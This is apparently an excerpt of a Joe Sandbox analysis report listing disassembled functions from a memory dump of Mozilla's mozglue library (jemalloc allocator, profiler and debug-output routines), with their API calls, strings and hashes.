MOZ_CRASH(), xrefs: 6CEC6AB8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEC6BC7, 6CEC6F97, 6CEC6FB2
<jemalloc>, xrefs: 6CEC6AA9, 6CEC6B59

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: a89ae2bba89c974b44f0a786df0ea2fd90ffc16ed4a76094c6c3ac599c168e04
Instruction ID: 9789e497715eeb1f59dddbfc7708bbdf82dbff76834865830694dd8d7817aff7
Opcode Fuzzy Hash: a89ae2bba89c974b44f0a786df0ea2fd90ffc16ed4a76094c6c3ac599c168e04
Instruction Fuzzy Hash: 42A28E71B157018FD708CF18C654726BBF5BB86328F29C66DE8698BB91C771E841CB82

Function 6CEBD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CEBD904
LeaveCriticalSection.KERNEL32(?), ref: 6CEBD971
memset.VCRUNTIME140(?,00000000,?), ref: 6CEBD97B
LeaveCriticalSection.KERNEL32(?), ref: 6CEBE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEBE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CEBE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CEBE315
AcquireSRWLockExclusive.KERNEL32(6CF1E804), ref: 6CEBE37C
GetSystemInfo.KERNEL32(?), ref: 6CEBE3C7
__Init_thread_footer.LIBCMT ref: 6CEBE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CF1E810,00000040), ref: 6CEBE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6CF1E7B8,00001388), ref: 6CEBE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6CF1E744,00001388), ref: 6CEBE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6CF1E784,00001388), ref: 6CEBE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6CF1E7DC,00001388), ref: 6CEBE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6CF1E768,00001388), ref: 6CEBE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6CEBE52E
ReleaseSRWLockExclusive.KERNEL32(6CF1E804), ref: 6CEBE54F

Part of subcall function 6CEAD960: EnterCriticalSection.KERNEL32(?), ref: 6CEAD999
Part of subcall function 6CEAD960: EnterCriticalSection.KERNEL32(6CF1E7B8), ref: 6CEADA13

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CEBE6DD
MALLOC_OPTIONS, xrefs: 6CEBE3FF
Compile-time page size does not divide the runtime one., xrefs: 6CEBE621
MOZ_CRASH(), xrefs: 6CEBE62B
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEBE560, 6CEBE58A, 6CEBE5A5
<jemalloc>, xrefs: 6CEBE61C, 6CEBE6CC

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: 5d779fd369054e4efb033528f1b450d7f71e9d90033b9bd9c29b5a65a44cf1af
Instruction ID: 042da941e3147bd17e986c5d73488cfae9abc3ca465e50f273d50a80b572f115
Opcode Fuzzy Hash: 5d779fd369054e4efb033528f1b450d7f71e9d90033b9bd9c29b5a65a44cf1af
Instruction Fuzzy Hash: 93929271A15A018FD704CF28C640725BBF1BF86328F29C66DE869ABB95D371E841CBC1

Function 6CEFC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEFC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEFC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CEFC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CEFC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CEFC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEFCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CEFCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEFDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CEFDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CEFDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEFDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CEFDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CEFE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEFE432
memcpy.VCRUNTIME140(?,?,?), ref: 6CEFE472

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: df76973e2b2681710d8c95fdab1e8e8a7a4ed8b27d1d61a7ec371bc36bf14699
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: DE33C075E0021ACFCB14CF98C8806EDBBF2FF49314F284269D965AB755D731AA46CB90

Function 6CEBED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CEBEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CEBEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CEC1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEC16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CEC1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CEC1A3E

Strings

~ql, xrefs: 6CEBED10
~ql, xrefs: 6CEBED13

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~ql$~ql
API String ID: 3693777188-2664383298
Opcode ID: bc379aa2f4d2addbbfaaa2b9410ceb6a839486757183d3aa4bcf60f8f42931e6
Instruction ID: 9df0a727305f77c7814944ad3be4a32db4c1c7f8acea48f863166be2254a4713
Opcode Fuzzy Hash: bc379aa2f4d2addbbfaaa2b9410ceb6a839486757183d3aa4bcf60f8f42931e6
Instruction Fuzzy Hash: BEB32875E002198FCB14CFA8C990AEDB7B2BF49304F2582A9D459BB745D730AD86CF91

Function 6CEAFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF1E7B8), ref: 6CEAFF81
LeaveCriticalSection.KERNEL32(6CF1E7B8), ref: 6CEB022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CEB0240
EnterCriticalSection.KERNEL32(6CF1E768), ref: 6CEB025B
LeaveCriticalSection.KERNEL32(6CF1E768), ref: 6CEB027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CEB0D67, 6CEB0D7B, 6CEB0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEAFE99, 6CEAFEB7, 6CEAFED3, 6CEB0DB8, 6CEB0DD3, 6CEB19B4
<jemalloc>, xrefs: 6CEB0D62, 6CEB0D76, 6CEB0DA7

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: f5cc9b1917c08b1abbaa9b255ab96ba022f94b625375d98f650b3f2a0c8a203b
Instruction ID: cbafbd3a37283531ed9d7cd2f896258cdcd4bafc7e41ab1131bdfd9043fb2889
Opcode Fuzzy Hash: f5cc9b1917c08b1abbaa9b255ab96ba022f94b625375d98f650b3f2a0c8a203b
Instruction Fuzzy Hash: C4C29FB1A057418FD714CF28C681726BBF1BF86328F28C66DE4699BB95D771E801CB81

Function 6CEFE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CEFE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEFEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CEFEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEFEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CEFF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CEFF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CF00E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CF00E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CF00EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CF00ED4

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 66bdf057789a9ec0e3be8c0e5b49c1fe91e91e03660242b675a47a1c8277d3cb
Instruction ID: 6f07de81f80e62487fe16cb69834dd89f1591ccaa62605228ce4e13f7bc1ea32
Opcode Fuzzy Hash: 66bdf057789a9ec0e3be8c0e5b49c1fe91e91e03660242b675a47a1c8277d3cb
Instruction Fuzzy Hash: 8A638D71E0025A8FCB14CFA8C8906DDFBF2FF89314F298269D855AB755D730A946CB90

Function 6CED3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CEF7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>l,?,?,?,6CED3E7D,?,?), ref: 6CEF777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CED3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CED3F5C
VerSetConditionMask.NTDLL ref: 6CED3F8D
VerSetConditionMask.NTDLL ref: 6CED3F99
VerSetConditionMask.NTDLL ref: 6CED3FA0
VerSetConditionMask.NTDLL ref: 6CED3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CED3FB4

Strings

nvinit.dll, xrefs: 6CED4479
nvd3d9wrap.dll, xrefs: 6CED4466
C>l, xrefs: 6CED3E93

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-954515387
Opcode ID: fadf740efd73b23c69d92967d2401371c9c6234a9d3257711ec7451cff198ee5
Instruction ID: 95da17cf6b121f9eeb38ca9df0c4c7650f8583ee1033f0a60e9c888023280a6a
Opcode Fuzzy Hash: fadf740efd73b23c69d92967d2401371c9c6234a9d3257711ec7451cff198ee5
Instruction Fuzzy Hash: 3252F171A10B488FD711DF74C990AAB77F9AF45308F25092DE4968BB42DB74F90ACB60

Function 6CEAFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF1E7B8), ref: 6CEAFF81
LeaveCriticalSection.KERNEL32(6CF1E7B8), ref: 6CEB022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CEB0240
EnterCriticalSection.KERNEL32(6CF1E768), ref: 6CEB025B
LeaveCriticalSection.KERNEL32(6CF1E768), ref: 6CEB027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEAFE99, 6CEAFEB7, 6CEAFED3, 6CEB0DB8, 6CEB0DD3, 6CEB19B4, 6CEB1A10
MOZ_CRASH(), xrefs: 6CEB0CA7

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 125afce2d5fe5e829a4f212a709edf53534f6b57233a6cb62643bef779616cb0
Instruction ID: 8dd40eca2c06a8008871d8f3f28674ef92b4272b897c162b433a7c7706de7f90
Opcode Fuzzy Hash: 125afce2d5fe5e829a4f212a709edf53534f6b57233a6cb62643bef779616cb0
Instruction Fuzzy Hash: E9B2BF716057418FD714CF68C690726BBF1BF8A328F28C66CE86A9BB95D770E841CB41

Function 6CEE5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6CEE6131
ProfileBuffer parse error: %s, xrefs: 6CEE5AC8, 6CEE5CBB
expected a Time entry, xrefs: 6CEE5CB6
expected a Count entry, xrefs: 6CEE5AC3
schema, xrefs: 6CEE606D
name, xrefs: 6CEE5E79, 6CEE5E8F

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 191c354bc047ceded0c7033dc3f43ed97c8dcf6be90210a15c6b6f849093d2ad
Instruction ID: 122293aaf31039d5d2fc71ecc507a85846aa379f6c088ad2866ae1d11ac0015e
Opcode Fuzzy Hash: 191c354bc047ceded0c7033dc3f43ed97c8dcf6be90210a15c6b6f849093d2ad
Instruction Fuzzy Hash: C4924B71A093418FD724CF28C490B9AB7F1BFC9348F24891DE59A9B751DB31E849CB92

Function 6CEE2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CEE2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEE2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CEE2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEE3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEE3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEE36BF

Strings

set , xrefs: 6CEE36EC
get , xrefs: 6CEE3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CEE378D

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 6be32ce91d55fd6600c4ddd509aa6ddf5b1e1cc8f50a4c1d63b6e9716fd9475d
Instruction ID: 4fc40bbcb8d26a2b6b2c6f181c10bf78556f52f28c68772d3bab97f4dd63dfd6
Opcode Fuzzy Hash: 6be32ce91d55fd6600c4ddd509aa6ddf5b1e1cc8f50a4c1d63b6e9716fd9475d
Instruction Fuzzy Hash: 8A326E746083819FD324CF24C0906AFBBF2AFC9358F64891DE59987761DB31E94ACB52

Function 6CEF5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CEF6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CEF6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Ql,?), ref: 6CEF6046
OutputDebugStringA.KERNEL32(?,Ql,?), ref: 6CEF6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CEF6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CEF6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CEF6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CF1148E), ref: 6CEF6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Ql,00000000,?), ref: 6CEF60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CEF60C4

Strings

Ql, xrefs: 6CEF5FFC, 6CEF6042, 6CEF6045, 6CEF60B3

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Ql
API String ID: 3835517998-1610383887
Opcode ID: 9705b8f1d1b85a1fad27674336cc6f0a48219c42c71f4e62d8893c7fa225547d
Instruction ID: dec9e7ae261e043bef436ab665b7677570c294e3d949de75a717e4f642d7ce9f
Opcode Fuzzy Hash: 9705b8f1d1b85a1fad27674336cc6f0a48219c42c71f4e62d8893c7fa225547d
Instruction Fuzzy Hash: 3A21A3B1E002089FDB205F64DC09BAA7BB8FF45718F118828E85A97741CB75A549CFD2

Function 6CEB5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CEB5EDB
memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CEB5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CEB5FB2
memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CEB61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CEB7652

Strings

ewl, xrefs: 6CEB5E9C, 6CEB5F22, 6CEB61ED
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CEB730D
MOZ_CRASH(), xrefs: 6CEB7BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEB7BCD, 6CEB7C1F, 6CEB7C34, 6CEB80FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CEB72E3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CEB72F8

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewl
API String ID: 2613674957-3113904229
Opcode ID: 126ba7fec65c67b53de5fc98b4d12a03f72a2d66ab098fa6f1dc7e4d868f3e05
Instruction ID: c1e03208f866aae979e6fd1df212c72d9adfe7873cb4641cbbf3f04af5b6bde3
Opcode Fuzzy Hash: 126ba7fec65c67b53de5fc98b4d12a03f72a2d66ab098fa6f1dc7e4d868f3e05
Instruction Fuzzy Hash: CC336E716067018FD308CF28C690625BBF2BF86328F39C66DE5699BBA5D731E841CB51

Function 6CED7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6CED8280, 6CED83E1
schema, xrefs: 6CED81E3, 6CED8311
(pre-xul), xrefs: 6CED7E88
name, xrefs: 6CED7ECF, 6CED8335

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 7aae2e9a45094679d3ec4a174e8533f55bdf90a3e8c9d2375f921e119ffdc221
Instruction ID: 63dc52f0597d6cebaad892cf86137544e82b87dc2c86a15bad921975060d1fbc
Opcode Fuzzy Hash: 7aae2e9a45094679d3ec4a174e8533f55bdf90a3e8c9d2375f921e119ffdc221
Instruction Fuzzy Hash: 8FE18071B043408FC710CF68C85165BFBEABB85714F25892DE895DBB80DB70ED0A8B91

Function 6CEBD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF1E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CECD1C5), ref: 6CEBD4F2
LeaveCriticalSection.KERNEL32(6CF1E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CECD1C5), ref: 6CEBD50B

Part of subcall function 6CE9CFE0: EnterCriticalSection.KERNEL32(6CF1E784), ref: 6CE9CFF6
Part of subcall function 6CE9CFE0: LeaveCriticalSection.KERNEL32(6CF1E784), ref: 6CE9D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CECD1C5), ref: 6CEBD52E
EnterCriticalSection.KERNEL32(6CF1E7DC), ref: 6CEBD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CEBD6A6
LeaveCriticalSection.KERNEL32(6CF1E7DC), ref: 6CEBD712
LeaveCriticalSection.KERNEL32(6CF1E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CECD1C5), ref: 6CEBD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CEBD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CEBD82C
<jemalloc>, xrefs: 6CEBD827

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

